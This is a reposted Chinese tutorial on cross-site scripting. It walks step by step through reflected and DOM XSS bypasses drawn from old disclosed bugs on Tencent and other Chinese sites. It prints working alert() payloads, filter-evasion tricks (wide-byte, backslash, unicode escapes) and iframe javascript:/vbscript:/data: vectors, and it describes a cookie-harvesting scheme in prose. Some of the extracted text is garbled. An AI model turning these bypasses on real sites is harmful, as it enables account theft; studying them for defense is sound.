XSSer升级之路
先说明⼀下本⽂是转载的,虽然这篇⽂章作者写的时间⽐较早,但是这篇⽂章能让你更深刻的了解XSS,所以个⼈感觉很不错,分享给⼤家。
之前积累了XSS 有⼀段时间,因为⽬前开始了⼀件有趣的⼯程,需要整合⾮常多的知识,其中Web 安全这⼀块出现最多的,应该就是XSS,SQL注⼊了,再加上乌云泡着看别⼈的⽂章,看各家⼤⽹站的漏洞,决定把这⼀块知识聚拢⼀
下,写成⼀篇⽂章。想了想,从简单到难,那就是⼀条打怪升级之路,所以就从最简单的反射型漏洞开始,⼀点⼀点提⾼,直到把⼤部分XSS 的形式出来。
level 1 ⽆过滤规则的XSS
最简单的跨站,也就是我们说的反射型跨站,也叫作⾮持久型,参数型跨站脚本。这种类型的脚本出现的⾯⾮常的⼴,互联⽹上这样的漏洞⾮常多,⼀般出没在各路⼩站点,⼤站点很少出现。乌云的漏洞列表⾥,海量的XSS 漏洞都来⾃
互联⽹上访问量不⾼的⼩站,被⾟苦挖洞的XSSer 们发掘出来的。
站在新⼿村我们的,需要⼀个最简单的野怪刷⼀下,这个野怪上下⽆任何装备,没有⼀点防御。也就是说,这个XSS 漏洞对于⽤户的输⼊,不做任何过滤⾏为。
⼀般来说,XSS 存在的地⽅,⼀定是需要有输⼊和输出概念的,⼀般的过滤规则,也是出现在输⼊阶段或者是输出阶段,如果两个都没有过滤,那么很轻松的就造成了漏洞。通常来说,这种洞⾮常好刷,⽐较⾃动化的⽅式是,建⽴⼀个
爬⾍系统,预设⼀些URL,爬⾍爬取⽹页,在⽹页源码中寻⽤户可以输⼊的地⽅,然后在可以输⼊的地⽅,将构造好的XSS 代码以输⼊形式,构造成请求,然后观察响应,是否对我们的输⼊做了过滤策略。如果是原本的返回,那么我
们就说可能存在有xss漏洞。
同时,有另⼀种更为简单的漏洞,是直接在URL 中,如果有直接赋值参数的⾏为,也相当于⼀个可输⼊的位置,我们直接在URL 中将XSS 代码构造在URL 中,观察返回是否做了过滤处理,如果没有,那么就是⼀个最简单的野怪诞⽣。
在乌云中,有不少这样的漏洞,⼩站很多,⼤站很少,因为⼤站⼀般都有完备的过滤规则,很难在这些⼩问题上有任何闪失,再加上如今浏览器基本上都有安全策略对此类型进⾏防御,所以这种威⼒相对较⼩。
之前在HTTP 的⽂章⾥,有详细讲过 URL的格式,其基本格式如此:
每个结构对应的含义如下:
通常的注⼊发⽣在query 这⼀块,⽽⼀般⼀个安全的⾏为,就是对query 中的字符进⾏过滤,以防⽌xss。以百度的URL 为例,⼀个通常的URL 查询之后的造型是下⾯这样的:
其中wd 就是我们所说的搜索关键词,也就是我们的输⼊,如果我们将此字符改成
<script>alert(/xss/)</script>
在输出时我们看到,URL 变成了如下,可疑的部分被转义了。
www.baidu/s?wd=%22%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&rsv_spt=1&rsv_iqid=0xb3f5d3380002c15f&issp=1&f=3&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&oq=%26lt%3Bscript%26gt%3Balert(%如果我们在这个URL ⾥尝试修改参数,将score 参数改成
<img src=1>
⽽输出的源码并没有发⽣变化:
在⽹易中看到的结果就变成了这样:
这很显然,就是⼀个xss漏洞了,将经典的xss 代码插⼊进去即可:
score=<img src=1 onerror=alert(1);>
效果如下:
这就是⼀个最⽆防御的XSS 存在,很明显的,它简单,暴⼒,当然也是极容易防御的,所以在⼀个较⾼级的攻防对抗,或者是⼤站漏洞中,基本上不会出现这样的漏洞(然⽽腾讯还是有这样的问题~~)。
level 2 包装进script
上⼀等级⾥,我们的xss 构造格式是在img 中,然后直接通过URL 参数提交,通常反射型的XSS ⽐较⼴泛,但是伤害⼀般来说没有太⾼,⽽且⽐较容易防范。除了img 元素,还有诸如input, iframe,a href, 主要利⽤的是href 或者 src 可以
使⽤javascript, 或者是使⽤onerror,表⽰当前图⽚⽆法显⽰时候可以调⽤的脚本。更多的内容,接下来详析。
接下来,我们针对的还是反射型的XSS,仍然是在参数中,作为⽬标⽂件中的参数,通过URL 传递给它,但是没有对该参数进⾏详细的过滤,造成了有机可趁,继续放出腾讯家以前的⼀个例⼦,也是乌云上的,⽹址如下:
此处的callback 参数,如果没有过滤的话,得到的⽹页源码⾥,我们就会看出来,如下:
拿出这⼀块的上下⽂代码,⼤约构造是这样的:
<script type='text/javascript'>document.domain='soso';_ret={"_res":2};try{parent.aaaaaa(_ret);}catch(err){aaaaaa(_ret);}</script>
aaaaaa如果我们替换成
<script>alert(/xss/)</script>
当然,我们注意到,上边的script 还没有闭合,为了让代码提前跳出前⼀个script ,我们应该在前边吧sciprt 闭合,这样:
</script><script>alert(/xss/)</script>
这样,很明显,就会继续发起了XSS 弹窗。但是,如果我们不允许输⼊破折号呢,上边所说的就没有办法了,但是,这并不代表毫⽆办法,还有⼀些具有威胁的函数,⽐如eval, String.fromCharCode, execute,这些都会造成XSS,也
要过滤。如下,我们使⽤eval() 来构造攻击:
activity.soso/common/setParentsInfo.php?callback=eval('alert(1)');void
callback=eval('alert(1)');void 仍然令我们的源代码语法正确,能够正确执⾏。
但是像这样构造出来的情况,其实⾮常的少见,因为正常传第⼀个参数进去,开发者都会将 " 过滤掉,这样构造就失败了。
我们知道,XSSer 和防御者之间的⽃争从来就是道⾼⼀尺,魔⾼⼀丈的过程,防御者绞尽脑汁去过滤所有可能出现的情况,去处理所有可能的奇葩诡异编码情况,⽽XSSer ⼜会绞尽脑汁的去挖掘茫茫⽹络中漏洞,努⼒⽤各种奇技淫巧
构造出五花⼋门的形态,看起来诡异⽆⽐,然⽽偏偏⼜能让javascript 语法正确,正常运⾏。
然⽽xss 却⼜⼀直是热门,但并不是很受重视的攻击⼿法,原因⼤概是这样的:
挖洞太⿇烦,很耗时间,看上边两个漏洞,其中⼀个甚⾄是在某个获取QQ 应⽤宝上某个app 数据的URL ⾥发现的,⽽这种页⾯甚⾄很难被发现,所以他的伤害⽐较低,到它却⼜要花费⼤量时间,⽽且还有很多构造⽅法不能成功,需
要尝试各种模式。
这种伤害不是很⼤的反射型攻击,尚且还有机会通过爬⾍⾃动化的挖掘到漏洞存在的可能,有很多复杂的存储型和DOM 型漏洞,更难通过爬⾍挖到。
需要有良好的HTML,JS 功底,但是呢,如果功底好的话,直接就跑去做前端了,前端业务现在那么缺⾼级⼯程师。更多的,还需要有PHP,JSP 功底。
⽽Website 设置l 时候,很多模式化的xss就失去⼒量了。
然⽽为什么热门呢,因为HTTP 世界的混乱,之前在写Web之困读书笔记的时候,作者也是强⼒吐槽了这个混乱的HTTP 世界,所以造成了XSS ⼏乎⽆处不在,⽽如果⼀个利⽤好的XSS,或者CSRF漏洞,会在某些情况下,造成难以弥
补的伤害。
本质上将,SQL注⼊和XSS 都是由于代码上相似的漏洞造成的,⽽SQL 注⼊的危害要⽐XSS 看起来危险很多,很多⼈在挖SQL 注⼊漏洞的时候,顺⼿就挖⼏个XSS,也是很正常的。
XSS 虽然看起来⽐较温柔,但是配上社⼯⼿段,可造成的影响仍然是不可⼩觑的,所以XSS 会⽕下去。
level 3 HTML 中的野怪
当然XSS 的漏洞不仅仅只出现在script 代码块中,还可以包含在丰富的HTML 的标签属性中。⽐如img,input 等⼀系列标签,基本格式是 < HTML标签 onXXXX="在这⾥" > 或者是放在伪URL ⾥,⽐如< a href = "javascript:在这⾥"> xxxx
</a>。
⼀般这样地⽅的参数,很少是直接通过输⼊就直接放进去的,不过有时候常常是接受了⽤户的输⼊,最后输出的时候,会出现在这些位置,但如果对⽤户的输⼊没有做详尽的处理和过滤的话,就会出现明显的XSS 漏洞。来个栗⼦:
⽐如某⽹站是这样的:
对应在HTML 代码中,他出现在了这样的区域⾥:
<input type="text" value="helloworld" />
开发者没有对helloworld进⾏过滤的话,我们直接构造
word=helloworld" onclick="alert(/xss/)
然后在对引号括号等,使⽤URL 编码,直接变成如下结构:
helloworld%22+onclick%3d%22alert(%2fxss%2f)
也就完成了xss过程,不过这种漏洞现在已经⾮常稀少,因为它太容易过滤了,只需要将双引号过滤即可,⼀般做法就是将双引号过滤成HTML 实体编码,也就是&#quot; 对于HTML 解析器,它能够识别在⽂本节点和参数值⾥边的实体编
码,并且在内存中创建⽂档树的表现形式时,透明的对这些编码进⾏解码。所以,在创建DOM 树结构的时候,"(有个分号,但是markdown会直接转了); 还没有被解码成引号,⽽且创建⽂档树的内容的时,才会考虑解码,⽽这时,
其XSS 功效已经不能发挥作⽤了。
于是,对于有过滤规则的情况下,该标签将变成:
<input type="text" value="helloworld" onclick="alert(1)" />
我们查看输出的HTML 源码,发现bg 那⾥对应的是background-color,我们尝试那⾥⽤不同的字符尝试,观察其过滤情况。在这⾥,我让bg = "<>() 就是希望观察⼀下它的过滤情况,基本上所有的字符都被过滤了,但是只有\ 没有被过滤
如何只⽤ \ 构造利⽤语句呢,我们可以想到CSS 中的字符编码,CSS 提供了⼀套转义处理策略,⼀个反斜杠后边跟1~6位⼗六进制数字。然后利⽤CSS 的expression 来调⽤JavaScript 代码。也就是试图构造出
expression(eval(alert(/xss/))
这样的代码,完整来说,就是这样的:
<body >
⽤分号来结束backgroud-color,然后 w: 后边跟上expression,如果expression 要被过滤,那就加上转义,把expression 随意变下形就可以,于是,在下边这样的代码构造下,漏洞⼜被利⽤了。
不过很遗憾的,expression 当年是微软搞出来的技术,但是⼀直没被其他浏览器接受,同时,甚⾄微软
⾃⼰如今也抛弃了这种特性,它出现在IE6,IE7,和IE8的⼀些早期版本,因为微软官⽅也认为该属性不具有通⽤性,⽽且它处理的
事务,如今已经能够在CSS 中正常的完成,如min-width,max-width,这些都已经在IE8之后得到很好的⽀持,所以expression 也只能在这两个古⽼版本上起效。
其输出的HTML 代码中,我们可以到它:
对于放在javascript: 中的伪URL,其效果和放在script 代码块中没有区别。在这⾥ aaaaaa我们可以考虑对其做点什么,很⾃然的,我们想到⽤单引号闭合,然后后边加上alert(/xss/) 这样的构造,看起来⽐较绕,其构造步骤是这样的:
location.href='...&searchvalue=aaaaaa'
location.href='...&searchvalue=aaaa'+alert(1)+''
location.href='...&searchvalue=aaaa'+alert(1)+''
⾄此,⼜完成了⼀次XSS 注⼊,但到此处,是否有⼀个疑问呢,还是关于编码解析的问题。在上⼀个栗⼦中,我们说,将双引号,改成" ; 这样的形式,就不会出现异常的解析了,但是这⾥,我们主动的将单引号改成了 ; 这样
的形式,反⽽成功的完成了XSS 呢。
其实,这是⼀个解析顺序的原因,正常的解析顺序是这样的,先对URL解码,那些⽤URL 编码的字符都变成解码后的参数传出去,然后是HTML 解析,HTML 解析,此时,是先构建DOM⽂档结构,然后才会对每⼀个⽂本节点,属性值
内容进⾏解析,这时候,HTML 实体编码的部分,才会还原回来,这个时候已经不会对DOM 结构造成影响了。然后是JS 解析,此时才会执⾏JS 代码的内容。⽽此时,HTML 已经完成了解码。
对应上边的栗⼦,在JS 解析之前,HTML 已经对那些编码完成了解码,对于JS 来说,⼀切都写的清清楚楚的了。
回到那个栗⼦,我们利⽤的代码,原样是这样的:
<li><input type="text" id="pagenum"  class="inputstyle0814"  onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='stock.finance.qq/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'
当我们构造完成利⽤代码之后,对于页⾯上来说,就是要点击按钮,也就是onkeydown。不仅要将URL 传出去,还需要⽤户点击按钮,这样造成的威胁⼩很多,不如img 标签⾥的onerror ,onload那样可以⾃
动触发。
最后我们再考虑⼀下如何防守吧,上上栗⼦的问题,在于漏掉了斜杠的过滤,那么\ 该过滤还是要过滤的。对于上边这个栗⼦,可以考虑⼆次过滤,也就是将&都过滤为 & ;,这样不仅过滤了⽆编码的单引号等格式,⼜可以过滤掉利
⽤实体编码想要逃过的实体编码格式。⽽如果只是⽤正则去⽚段&#xNN..等形式,实际上是不⼀定搞定所有的HTML 编码形式的。
level 4 离奇的宽字节
搞过SQL 注⼊的,应该是⽐较了解宽字节注⼊的,由于某些SQL 注⼊的核⼼是提前出线单引号来闭合前边的输⼊,然后在后边可以插⼊别的语句,联合查询等等。所以⽐较⼀般的过滤⽅式是将单引号转义,加⼀个斜杠。但此时忽略了
编码的神奇。如果开发者在设置编码⽀持的时候,如果选择了GBK,gb18030,utf-8 等⽅式,实际上是⽀持⼗六位编码的。
最常见的⽅式,也就是在url⾥,在引号%27 或者是 %22 之前,加⼊%df, 由于0xdf 对应的⼤于128,所以,解析器会认为他和后边的组成了16位的编码,就会吃掉后边的字符,⽽后边跟着的字符,⼜恰恰是
我们给引号添加的斜
杠,%5c,于是%df 就会吃掉%5c 合并成⼀个字,引号重新暴露。
这种⽅法在XSS 不常见,但是如果某些XSS 在写过滤规则的时候,如果处理不当,还是有可能出现宽字节注⼊的情况,考虑如下url:
open.mail.qq/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa
此处双引号被过滤了,变成了" ;,如下:
如果我们尝试⼀下采⽤宽字节注⼊,考虑构造成如图所⽰:
zh_CN&t=%c0%22;alert(1);
令⼈惊奇的是,这次注⼊成功了,观察代码如图:
当然,此处所遇到的问题,应该并不是前边提到的传统的形式,%c0 吃掉%5c ,因为很明显,此处没有使⽤斜杠转义,⽽是转成了" ; 只能把原因归咎于正则表达式处理的问题。
我们看到,即使当以注意到了问题所在的时候,仍然可能犯错误,⽽且是以意想不到的⽅式犯错,⿊客
渗透的⽅式,可能会以所有意想不到的形式进⾏。
我们将防御性代码⽐做成安全的城墙,那么正则过滤引擎,应该是这座安全长城的第⼀站,⽽在《Web 之困》⼀书中,作者也说过,要想试图过滤掉所有的危险的编码,这⼏乎是不可能完成的任务。但作为开发者,⽐⿊客再多想⼀
些,这是应该的。
被忽略的反斜线
通常,过滤XSS 就是要考虑过滤各种特殊的控制字符,⽐如尖括号,引号等,⽽如果过滤⼀旦漏过了某些符号,那就有可能通过各种转义,构造出⼀个绕过的XSS,下⾯就是⼀个例⼦。
杂乱⽆章,我们对照⽹页的源码,逐个尝试看能够注⼊,⾸先是先定位这些变量对应的位置,主要关注的还是前三个,vt=pass, ss=aaa, form=bbb, 构造完成之后我们在源码中寻他们的位置如图:
定位到位置之后,我们把这⼀堆能使⽤的符号都拉进去尝试,包括引号,破折号,反斜杠等,这⾥如果能直接利⽤,最好是有双引号,它可以直接闭合前边的语法,从⽽构造新的语法,但是,很遗憾双引号这种头号仇恨还是第⼀时间被
过滤了,但是漏过了反斜杠。
我们详细分析⼀下这⼀部分,考虑⼀下,看怎么注⼊:
<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"®alias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%核⼼部分,就是下边那⼩部分:
<script>getTop().location.href="......"+"&ss=aaa"+"&from=bbb"+"¶m="+".....";</script>
如果我们使⽤了反斜杠,那么双引号就被转义了,语法就变化了:
<script>getTop().location.href="......"+ "&ss=aaa\"+" &from=bbb "+" ¶m= "+" .....";</script>
有⼀点点机会突破,但是后边的语法就太奇怪了,有语法错误了。肿么办,我们在试试正斜杠,发现也没有被屏蔽,perfect,我们⽤正斜杠来讲后边直接注释掉,让语法正常。
location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m=";
但是还有⼀个问题,& 在这⾥,被考虑成了⼀个与操作,优先级是⾼于 =号的,变成了("字符串"&from)=1 的语法,这仍然是错误的。但是,如果我们再测试⼀下,= 号会不会被屏蔽呢,=号也可以⽤,那么我们改变⼀下语法,添加⼀个
等号,变成 ==:
location.href="........."+"&ss=aaaa\"+"&from==1//"+"¶m=";
于是语法编程了("string")&(from==1)的样式,from 变成了⼀个bool操作,但现在⼜⾯临了新的问题,如果你在URL ⾥本来该是⼀个定义的操作,却变成了⼀个判断的操作,from 就变成了未定义的状态了,语法仍然会报错,这我们就要
进⼀步理解JavaScript的语法了,如果我们把from 当做⼀个变量或者是⽅法,如果是⽅法,⽆论在何处定义,都会被拉到最简便,所以我们在from 的部分再添加⼀个步骤:
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m=";
这样,from 就不会被当成是未定义的了,但问题⼜来了,我们现在添加了许多东西,⽽添加的这些东西,包含了许多特殊字符,会不会通过呢,经过实际测试,还真是悲剧了,空格符被转义了:
空格符被转义了怎么办呢,我们到新的替换品,那就是/**/, 这是⼀个注释符,之前我们也测试过了,斜杠不会被过滤,那么这个注释符,成功的顶替了空格,形成了正常的语法。
location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"¶m=";
结果毫⽆疑问弹了窗。
那么回到源头去搜索整个注⼊的过程,我们发现,注⼊的过程,颇有⼏分SQL 的风采,都是利⽤各种语法上的技巧,在我们的SQL注⼊中,⼀些常见的技巧,⽐如基于重⾔式,这和XSS 的试图闭合语法相似,⽐如联合查询法,试图借
助未转义的字符,来完成注⼊。
这个漏洞的挖掘过程,就是从⼀个狭⼩的⼊⼝进⼊,借助了字符过滤不完整的漏洞,挖开了深层的内容。所以,在实际编程开发中,对特殊字符的控制,是需要慎之⼜慎的,⼀旦有⼀个⼩⼩的漏洞,就会被随时攻破。
换⾏符的偷袭
上⼀次是反斜杠发挥的妙⽤,它默默地转义了⼀个双引号,还有⼀些其他有意思的符号,⽐如换⾏符也能发挥妙⽤,这次是来⾃换⾏符的⼀发偷袭。
逐个测试注⼊点,我们发现最后的FilterValueAND 的输⼊点在源码中到了输出点:
它出现在JS 语句⾥,⼀上来就感觉有戏。接下来尝试写⼊特殊字符,测试过滤情况。正常的情况下,尖括号,双引号:
但是令⼈奇怪的是,最后⼀个输出点竟然是在⼀⼤段注释⾥,这应该是开发的⼀个失误:
直接就弹窗了。
这⼀次利⽤的太过简单,看起来应该是开发的⼀时疏忽,将⼀⼤段内容注释了,⽽注释⾥原本好包含了输出,那就有可能出问题了。
看⼀下源码,先测试双引号,妥妥的被过滤,HTML标签⾥的东西没希望了。往后边看,第⼆个⼜出现在了注释⾥,看来开发还是很希望遗留这些漏洞的,我们直接⽤⼀个换⾏符。
但问题是注释那⾥被注释掉了,但是接下来的var searchOrder="....";这⼀句就⿇烦了。
//ElementById("order_select").value="aaa
alert(/xss/); //";
var searchOrder="aaa
alert(1);//";
第⼀个是OK 了,第⼆个语法错误了。那么⼜想到什么了呢,在JavaScript 语法⾥,⼀个反斜杠可以让
语法让换⾏的内容接起来,形成多⾏写法。
var sarchOrder="aaa\
alert(/xss/);//";
于是,语法上⼜恢复了正常,⽽这⼀部分内容我们不⽤管它,只要上⼀个有效就可以了。但问题是,反斜杠被过滤了,过滤的⽅法是被转义了。
两个反斜杠就没法让JavaScript成⽴了,怎么办呢?记得之前采⽤的宽字符的战术,看⼀眼⽹页的编码格式,gb2312,说明宽字节是有效的。那我们就⽤128以上的字符,去吃掉⼀个反斜杠:
从结果上看,%c0吃掉了⼀个%5c,留下了⼀个反斜杠。
语法完全ok, 于是弹窗。
⾄此,这种反射型的XSS 基本上就这么些内容了。想要挖XSS 的洞,⾮常的耗费功夫,因为即使是没有安全编码尝试的开发者,也基本知道⼀些必须过滤的字符⼀定要过滤,另外在PHP 这些语⾔中,也有专门的函数诸如魔术引号来过滤处理。
不过学习这种XSS 类型,将扩宽思路,不仅是从注⼊的⾓度来看,能想到各种有意思的注⼊和XSS 利⽤,更重要的是从安全编码的⾓度看待开发,如何保证代码的安全实际上是⽐效率更加重要的点。
DOM XSS
之前提到的漏洞内容,都是反射型XSS,攻击性⼀般来说⽐较低,即⽤即消,难以持久,⽽且⼀般来说,如果cookie 设置成httponly,你就不能通过kie 的⽅式获取cookie了,在做其他⼀些事情,反射型xss就显得乏⼒了。不过,如果没有设置成httponly,还是有⽅法获取到海量的⽤户cookie,简单的利⽤⽅法就是在⼀个⾃⼰可控的站点,控制⼀个iframe,然后链接到主站可xss利⽤的站点,在URL ⾥写好脚本,做好接受,就能源源不断的接受来⾃⽤户的信息了。
⽐如说新浪微博或者是腾讯微博存在XSS反射漏洞,我们在⾃⼰的站点中写好利⽤的iframe,然后在⾃⼰的微博上写⼀个吸引⼈的标题,然后附⼀个经过短链接转义过得链接。如果别⼈点进去,就会⾃动触发我们的XSS 脚本。以前Twitter 上也有这样的漏洞,短时间让⿊客的粉丝暴涨百万,实际上只是⾃动执⾏了关注⿊客的脚本。
DOM 常见的⽅法有:
获取节点
getElementsById()
getElementsByTagName()
getElementsByClassName()
新增结点
createTextNode 创建⽂本节点,配合上⼀个使⽤
appendChild(element) 把新的结点添加到指定节点下,参数是⼀个节点对象
insertChild() 在指定结点钱插⼊新的节点
修改节点
replaceChild() 节点交换
setAttribute() 设置属性
删除节点
removeChild(element) 删除节点,要先获得⽗节点然后再删除⼦节点
⼀些属性
innerHTML 节点内容,可以获取或者设置
parentNode 当前节点的⽗节点
childNode ⼦节点
attributes 节点属性
style 修改样式
下⾯我们回到XSS 上,如何利⽤⼀个显式的DOM XSS。
我们在代码中寻其输出:
发现了很多个,将其代码格式化之后如下,我们会实际上,被执⾏的只有⼀个:
<strong id="titleshow">按职业1检索:aaaaaaa </strong></div>
<script>
if("aaaaaaa"=="")
if("职业1"=="职业1")
if("职业1"=="职业2")
if("职业1"=="职业3")
</script>
我们先测试⼏个特殊字符,发现尖括号被过滤了,但是\ 没有被过滤,⽽这⾥⼜是JS 代码,我们可以⼗三⽉Unicode 编码来代替尖括号,仍然可以实现代码利⽤。\u003c \003e 分别代表尖括号,\0020 代表空格。⽽这⾥其实有⼀个⽐较关键的知识点,为什么有时候转义可以,有时候转义不⾏,编码解码的顺序到底是怎样的,具体可以看下⼀条⽂章。
所以,我们构造的完整URL 如下:
qq/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml
但是,左右尖括号的Unicode表⽰已经被过滤:
但仔细观察⼀下,我们发现,\u0020 都没有被转义,说明开发者的转义是⾮常局限的,指哪打哪,很有可能有别的⽅法可以利⽤。⽽Unicode 编码也有多种书写⽅式,⽐如 \x3c \x3e 就可以代表左右尖括号。那么我们值得⼀试:qq/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133&stype=2&tname=star_second.shtml
令⼈惊奇的是竟然没有转义:
这样,弹窗就是必然的了。
这是⼀次简单的DOM XSS 过程,后边会有更加复杂的XSS等待挖掘。
DOM XSS
让我们继续寻DOM XSS,在上⼀节⾥,在地址栏⾥输⼊的内容,很容易出现在了源代码⾥,然后我们发现源代码⾥是⼀个DOM 操作,通过js 的Unicode 转义,我们将利⽤代码植⼊到了innerHTML 指向的内容中,同时绕过了过滤。关于编码的顺序问题,可以参考我之前总结的⼀篇⽂章,⽐较清晰。
那么,如果我们在源代码⾥,定位不到我们在URL ⾥的参数呢,其实这并没有太多不同。只是因为⽹页直接通过脚本,通过DOM 操作,修改了或者添加了某些标签,源码中看不到。但只需要进⼊调试⼯具⾥,就能到了。
这⾥拉来⼀个⽼漏洞,现已修复:
qt.qq/video/play_video.htm?sid=aaaaaa
这样⼀个地址,我们跑去源代码⾥,是不会直接到输出的,其实这也是更为常见的情况:
此时我们应该去到调试⼯具⾥,在审查元素⾥,我们看到了输出的位置:
按照以往的⽅法,我们仍然是使⽤常识构造的⽅式,去看那些写法是被过滤的,然后尝试去构造攻击模式。另⼀种⽅法,则是去resources 中,去查看脚本,是那个脚本执⾏了什么操作,让变量进⼊了标签,了解清楚了之后,可以对症下药的创造攻击向量。
我们直接对sid 这个参数在resource 中搜索,会到响应的处理函数。在这⾥,是⼀个叫getUrlPara 的函数:
进⼀步,定位到该函数的定义,通过分析该函数,我们能了解脚本在获得该参数后的操作,在该函数⾥,我们发现,该函数对 location.href 中的尖括号和引号已经进⾏了过滤处理,但实际上,这段代码实际上是不太正确。
因为在进⾏处理之前,拿到的href 已经经过了URL 编码,该函数不会对任何符号进⾏处理。即使是浏览器不做编码处理,如果我们预先对它进⾏编码处理,也会跳过函数中的过滤。然后让我们再回到函数调⽤之后的上下⽂。
var sid=getUrlPara("sid");
if(!sid || sid==""){
歉,视频不存在!</div>';
}else{
var flash_ver=GetSwfVer();
if(flash_ver == -1){
sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
if(!is_valid_sid(sid)){
}else{
insertFlash("dv_video","f",sid,"100%","100%");
}
}
}
这⾥,通过decodeURLComponent 将编码后的参数,⼜解码成了原符号,⽽后边调⽤的insertFlash 操作,未经过滤的将sid 写进了页⾯:
function insertFlash(elm, eleid, url, w, h) {
if (!ElementById(elm)) return;
var str = '';
str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="fpdownload.macromedia/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
str += '<param name="movie" value="' + url + '" />';
str += '<param name="allowScriptAccess" value="never" />';
str += '<param name="allowFullscreen" value="true" />';
str += '<param name="wmode" value="transparent" />';
str += '<param name="quality" value="autohigh" />';
str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="ww    str += '</object>';
}
我们很容易的想象到了构造< img src=# onerror=alert(1)>,对尖括号进⾏URL 编码就可以了。实际上,就这⼀个漏洞,我们不仅可以使⽤URL 编码的⽅式。结合我之前说的浏览器的解析顺序,在这⾥,从URL 获得的参数,进⼊脚本,
脚本调⽤DOM 操作,修改DOM 树,所以我们⽤Unicode编码也能最后得到解析。
我们始终说,安全编码是⼀个不容易的技术,因为⼀步疏漏就会在最终造成满盘皆输。所以,对于开发者,想要真正构建安全的程序,就必须对程序所涉及的技术框架了如指掌。⽐如对于Web,应该对浏览器的原理,HTTP/HTTPS,各种
编码原理,JS&CSS&HTML,PHP&ASP,的安全部分都有⼀定了解,才能在构建程序的时候,抓住最关键的部分,确保不出问题。
深⼊源码,邂逅eval和iframe
前边的分析过程,看起来还是⽐较浅,不论是直接在源码中出现的,还是在elements 中出现的,他们都是通过JavaScript 的document.write 或者是 innerHTML 输出到⽹页去了,所以还是可以轻松的在开发者⼯具那⾥看到输出的位置。
但是,如果⼀部分输出,最终没有流向innerHTML 或者是 document.write,就需要安⼼下来慢慢挖掘了。
跑去源码和开发者⼯具⾥搜索⼀通,都没有搜索到,下⾯,我们换个思路,进⼊console 中,看能否发现⼀些。我们按照往常,在URL 的参数⾥,构造⼀些特殊字符,单引号,双引号,尖括号,斜杠,⼀般来说,双引号单引号都会最早
被过滤,所以⼀般斜杠的⼏率还⼤⼀些。我们构建之后,查看结果返回⼀个错误的信息:
右边能点开帮助⽂档,能看到源⽂件,那我们进源⽂件好好看看到底哪⾥出错了,有没有机会绕过。我们定位到代码的位置,上下⽂⼤约如此:
var getarg = function()
{
var url = window.location.href;
var allargs = url.split("?")[1];
if (allargs!=null && allargs.indexOf("=")>0)
{
var args = allargs.split("&");
for(var i=0; i<args.length; i++)
{
var arg = args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};
这就是最简单的从URL 中获取参数的代码,url 是原始的url,allargs 是问号之后的参数部分,然后通过& 分割的开来,然后对URL 中每⼀个参数键值对,⽤⼀个eval 来执⾏记录操作,也就是执⾏了
eval('this.key'="aaaa";'),eval('this.'+arg[0]+'="'+arg[1]+'";');两个参数分别对应了等号左右的键和值,虽然我们没有在页⾯⾥看到输出,但是它实际上还是输出了。
那么,我们不仅可以对值进⾏替换,还可以对键进⾏替换尝试,我们先替换⼀下arg[0] 试试:
this.key="aaaa";
this.key;alert(1);//="aaaa";
弹弹弹,那么后边的值部分可以不可以呢。
按照惯常思路,使⽤双引号闭合,然后加⼊利⽤函数:
this.key="aaaa";
this.key="aaaa";alert(1);//";
但是,对于chrome等⾮IE 浏览器,实际上,对于URL 出现的双引号,会将其进⾏URL 编码,在HTML 解析的时候,⽆法完成正常的语法结构,也就失效了,不过上述代码在IE下是有效的。
下⾯我们再发现输出在iframe中的,因为iframe 后边可以跟src ,有时候为了⽅便嵌套⼩框架,会从URL⾥读取参数,然后构造成地址,输出在iframe 的src 中,形如:< iframe src="[输出]">< /iframe>。
但是,对于src 来说,我们可以插⼊伪URL ,来执⾏JS 代码,常见的插⼊在前边也说过,对于iframe 可
以有以下⼏种:
< iframe onload="alert(1)">< /iframe>
js伪url: < iframe src="javascript:alert(1)">< /iframe>
IE下的vbscript执⾏代码: < iframe src="vbscript:msgbox(1)">< /iframe>
Chrome 下data的协议执⾏代码:< iframe src="data:text/html,< script>alert(1)< /script>">< /iframe>
如果尖括号被屏蔽,还可以使⽤HTML 实体编码:< iframe src="data:text/html,< ;script> ;alert(1)< ;/script> ;">< /iframe>
以及Chrome下srcdoc属性:< iframe srcdoc="< ; script> ;alert(1)< ;/script> ;">< /iframe>
仍然使⽤最简单的⽅式去开发者⼯具⾥输出,看到被带到了iframe 的src 中去:
看来是被过滤掉了,那么寻到这个iframe 的处理操作,去问题,在js 源码⾥,到了相关的处理:
function OpenFrame(url) {
if (LowerCase().indexOf('') != '-1' || LowerCase().indexOf('') != '-1' || LowerCase().indexOf('javascript:') != '-1') return false;
}
实际上,他做了最简单的过滤,仅仅是不允许JavaScript 伪URL,⽽url 参数,我们寻turl 参数,源码中,并没再做更多操作:
var tool_url = getQueryStringValue("turl");
...
openFrame(tool_url);
那么我们就可以⽤上边说的使⽤VBScript来在IE 下XSS,可以在Chrome 中⽤date 来构造XSS。
